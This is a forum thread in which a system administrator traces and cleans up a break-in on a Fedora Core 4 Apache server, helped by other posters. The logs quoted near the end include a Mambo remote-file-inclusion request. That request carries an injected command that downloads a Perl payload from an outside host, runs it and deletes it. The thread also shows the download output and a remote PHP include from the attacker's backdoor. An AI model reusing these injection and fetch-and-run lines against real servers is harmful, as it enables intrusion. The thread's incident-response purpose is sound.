Fedora 4 server was hacked - cleanup help

[Geoff Wild]

Somehow - they used apache to write to /var/tmp - put in what looked like some sort of chat server.

Cleaned that up...

Did an up2date -u

Now, I see some weird behavior - 2 perl processes seem to spawn - chewing up my cpu.

Tasks: 101 total, 2 running, 97 sleeping, 0 stopped, 2 zombie
Cpu(s): 19.5% us, 3.2% sy, 0.0% ni, 76.6% id, 0.6% wa, 0.1% hi, 0.0% si
Mem: 515304k total, 437000k used, 78304k free, 135524k buffers
Swap: 2096440k total, 0k used, 2096440k free, 105356k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
20877 apache 25 0 5320 3684 1852 S 56.6 0.7 154:19.19 perl
22289 apache 25 0 5320 3684 1852 R 41.0 0.7 27:42.06 perl
30195 root 15 0 2008 904 704 R 3.9 0.2 0:00.02 top

# ps -ef |grep apache
apache 2369 2239 0 Jan08 ? 00:01:37 /usr/sbin/httpd
apache 2370 2239 0 Jan08 ? 00:01:54 /usr/sbin/httpd
apache 2371 2239 0 Jan08 ? 00:01:44 /usr/sbin/httpd
apache 2372 2239 0 Jan08 ? 00:02:06 /usr/sbin/httpd
apache 2373 2239 0 Jan08 ? 00:01:41 /usr/sbin/httpd
apache 2374 2239 0 Jan08 ? 00:01:37 /usr/sbin/httpd
apache 2375 2239 0 Jan08 ? 00:02:09 /usr/sbin/httpd
apache 2376 2239 0 Jan08 ? 00:01:58 /usr/sbin/httpd
apache 13403 2239 0 Jan08 ? 00:01:49 /usr/sbin/httpd
apache 13405 2239 0 Jan08 ? 00:01:21 /usr/sbin/httpd
apache 17659 2239 0 Jan09 ? 00:00:50 /usr/sbin/httpd
apache 11115 2239 0 Jan10 ? 00:01:07 /usr/sbin/httpd
apache 11794 2239 0 Jan10 ? 00:01:06 /usr/sbin/httpd
apache 3375 2239 0 Jan11 ? 00:00:39 /usr/sbin/httpd
apache 20867 2369 0 10:25 ? 00:00:00 [sh]
apache 20877 1 48 10:25 ? 02:33:59 /usr/sbin/apache/logins
apache 22278 2376 0 14:43 ? 00:00:00 [sh]
apache 22289 1 46 14:44 ? 00:27:22 kotfare
root 30188 29992 0 15:42 pts/1 00:00:00 grep apache

There's no such thing as /usr/sbin/apache/logins (or logins anywhere) and what is kotfare?

I have only 1 httpd binary - restored it from old backup to be safe.

Nothing in cron - it just seems random that this starts up....

Any ideas?

Rgds...Geoff

[Stuart Browne · Accepted solution]

As you know, an application name can change the way the process name can appear to 'ps' etc..

Go to the source, and see what these applications actually are:

ls -l /proc/20877

'exe' will be a symbolic link to the actual executable. The rest you can probably make sense of on your own.

The two defunct-shells running as Apache are a concern, track down their source files using the above method.

As for kotfare, I honestly don't know. Never seen it before, and 'www.kotfare.com' doesn't seem to respond any more..

[Stuart Browne]

I should have mentioned this but, you had a look through your apache logs?

I've not heard of any direct attacks becoming available recently to apache it's self, but you may be running a PHP/CGI/mod_perl routine on there of which does have an exploit.

I'm not aware of any FC4 packages using '/var/tmp' as a temporary directory either, they all use just '/tmp'.

[Geoff Wild]

Stuart - drat - killed the processes before looking in proc - I'll have to wait to see if it happens again (plus I rebooted - as I did an up2date).

Rgds...Geoff

[Steven E. Protter]

Geoff,

You may not have been hacked.

If he server was on the public Internet, you may have been the victim of the slow denial of service attack that I experienced and still see on public Internet servers.

The signs are a lot of httpd process and tons of not found entries in the access_log

Basically, through manipulation people are trying go get your httpd server to pretend to be a browser to either make them money or exploit other servers.

I've had to iplement a sweep that adds this junk to the iptables firewall. This keeps the situation under control and prevents denial of service attacks.

A look at the access_log and the error_log will tell the story.

64.179.124.49 - - [12/Jan/2006:23:22:12 -0600] "POST http://infobits.net/Search1.php HTTP/1.1" 404 5849
218.56.241.181 - - [12/Jan/2006:23:22:20 -0600] "GET http://www.moneyppc.com/cgi-bin/ip.cgi HTTP/1.0" 404 5893
220.185.26.162 - - [12/Jan/2006:23:22:25 -0600] "GET http://www.yoomy.com/Search1.php?ID=379&Q=Hosting&B3=Search HTTP/1.0" 404 5860
207.67.90.47 - - [12/Jan/2006:23:22:25 -0600] "POST http://www.someclicks.com/index.php HTTP/1.1" 404 5915

As you see, this stuff is not on the local server and is relatively harmless, though it occaisionall will crash either the web server and on one occaision the kernel.

It could be an attempt at a buffer overflow root access.

Most of this stuff comes from script kiddies with little ability to do anything other than annoy.

If the system has been hacked then there will be telltale signs in the logs. Evidence of logins, and manipulation. Only the best hackers totally cover their tracks.

If so, I'd pull the system off the net and not put it back until the OS is redone and bastille has been run on it.

SEP

[Geoff Wild]

Bingo:

# ps -ef |grep apache
apache 2236 2153 0 Jan12 ? 00:00:15 /usr/sbin/httpd
apache 2237 2153 0 Jan12 ? 00:00:20 /usr/sbin/httpd
apache 2238 2153 0 Jan12 ? 00:00:18 /usr/sbin/httpd
apache 2239 2153 0 Jan12 ? 00:00:15 /usr/sbin/httpd
apache 2240 2153 0 Jan12 ? 00:00:14 /usr/sbin/httpd
apache 2241 2153 0 Jan12 ? 00:00:18 /usr/sbin/httpd
apache 2242 2153 0 Jan12 ? 00:00:16 /usr/sbin/httpd
apache 2243 2153 0 Jan12 ? 00:00:15 /usr/sbin/httpd
apache 7222 2239 0 05:51 ? 00:00:00 [sh]
apache 7231 1 98 05:51 ? 00:48:20 kotfare
apache 10243 1 0 06:06 ? 00:00:01 kotfare
root 14887 14356 0 06:40 pts/0 00:00:00 grep apache
ix.met.ca: /root # ll /proc/7231
total 0
dr-xr-xr-x 2 apache apache 0 Jan 13 06:00 attr
-r-------- 1 apache apache 0 Jan 13 06:40 auxv
-r--r--r-- 1 apache apache 0 Jan 13 06:00 cmdline
lrwxrwxrwx 1 apache apache 0 Jan 13 06:40 cwd -> /
-r-------- 1 apache apache 0 Jan 13 06:40 environ
lrwxrwxrwx 1 apache apache 0 Jan 13 06:40 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Jan 13 06:00 fd
-rw-r--r-- 1 apache apache 0 Jan 13 06:40 loginuid
-r-------- 1 apache apache 0 Jan 13 06:40 maps
-rw------- 1 apache apache 0 Jan 13 06:40 mem
-r--r--r-- 1 apache apache 0 Jan 13 06:40 mounts
-rw-r--r-- 1 apache apache 0 Jan 13 06:40 oom_adj
-r--r--r-- 1 apache apache 0 Jan 13 06:40 oom_score
lrwxrwxrwx 1 apache apache 0 Jan 13 06:40 root -> /
-rw------- 1 apache apache 0 Jan 13 06:40 seccomp
-r--r--r-- 1 apache apache 0 Jan 13 06:00 stat
-r--r--r-- 1 apache apache 0 Jan 13 06:39 statm
-r--r--r-- 1 apache apache 0 Jan 13 06:00 status
dr-xr-xr-x 3 apache apache 0 Jan 13 06:00 task
-r--r--r-- 1 apache apache 0 Jan 13 06:40 wchan


# ll /proc/10243
ls: /proc/10243: No such file or directory


Now what?

[Geoff Wild]

WT

[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 102
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 103
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 104
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 105
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 106
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 107
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 109
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 110
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 111
[client 216.69.166.153] PHP Notice: Undefined variable: showtheme in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 112
[client 216.69.166.153] PHP Notice: Undefined variable: SERVER_SOFTWARE in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 140
[client 216.69.166.153] PHP Notice: Undefined variable: SERVER_VERSION in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 140
--12:17:44-- http://shikoe.net/mamb0file.txt
=> `mamb0file.txt'
Resolving shikoe.net... 68.142.234.54, 68.142.234.55, 68.142.234.56, ...
Connecting to shikoe.net|68.142.234.54|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17,252 (17K) [text/plain]

0K .......... ...... 100% 62.30 KB/s

12:17:45 (62.30 KB/s) - `mamb0file.txt' saved [17252/17252]

sh: line 0: kill: ?: arguments must be process or job IDs
sh: line 0: kill: R: arguments must be process or job IDs
sh: line 0: kill: 123:49: arguments must be process or job IDs
sh: line 0: kill: kotfare: arguments must be process or job IDs
[client 64.62.160.186] PHP Notice: Undefined variable: ch_msg in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php on line 244
[client 64.62.160.186] PHP Fatal error: Cannot redeclare safemode() (previously declared in http://www.fullcrew.net/cmd/tool25.dat?/includes/HTML_toolbar.php:151) in http://www.fullcrew.net/cmd/tool25.dat?/includes/pathway.php on line 151

[Geoff Wild]

Nasty stuff on that fullcrew site - I've added this to iptables:

$IPT -A INPUT -p ALL -s 68.142.234.0/24 -j DROP

I also downloaded HTML_toolbar.php - here's part of it:



//The Rules
include("http://www.fullcrew.net/cmd/therules25.dat");

[Geoff Wild]

Here's how it seems to get in:

193.226.18.1 - - [12/Jan/2006:09:40:09 -0800] "GET //index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.fullcrew.net/cmd/tool25.dat?&cmd=cd%20/tmp/;lwp-download%20http://shikoe.net/mamb0files.txt;perl%20mamb0files.txt;rm%20-rf%20mamb0files.txt* HTTP/1.0" 200 2210

[Geoff Wild]

Thanks Stuart and Steven!

BTW - this was mambo related - but it affects any php script.

http://forum.mamboserver.com/showthread.php?t=69741

There is a link in there to:

http://blog.phil-taylor.com/

which offers code to add to your php.

Rgds...Geoff

[Geoff Wild]

Followup:

Another great tool to install on any Apache web server:

http://www.gotroot.com/mod_security+rules

http://www.modsecurity.org

The gotroot site has great step by step instructions.

Basically - compiles as a module to Apache.

Rgds...Geoff

[Steven E. Protter]

Sorry to abuse the closed thread but,

which apxs

Where did you get apxs? I can't find it on a RH system that I did an everything install on.

SEP

[Steven E. Protter]

Forget it. Found it.

Part of:
httpd-devel-2.0.52-22.ent.i386.rpm

Which requires:

apr-0.9.4-24.5.i386.rpm
apr-devel-0.9.4-24.5.i386.rpm
apr-util-0.9.4-21.i386.rpm
apr-util-devel-0.9.4-21.i386.rpm
pcre-4.5-3.2.RHEL4.i386.rpm
pcre-devel-4.5-3.2.RHEL4.i386.rpm

SEP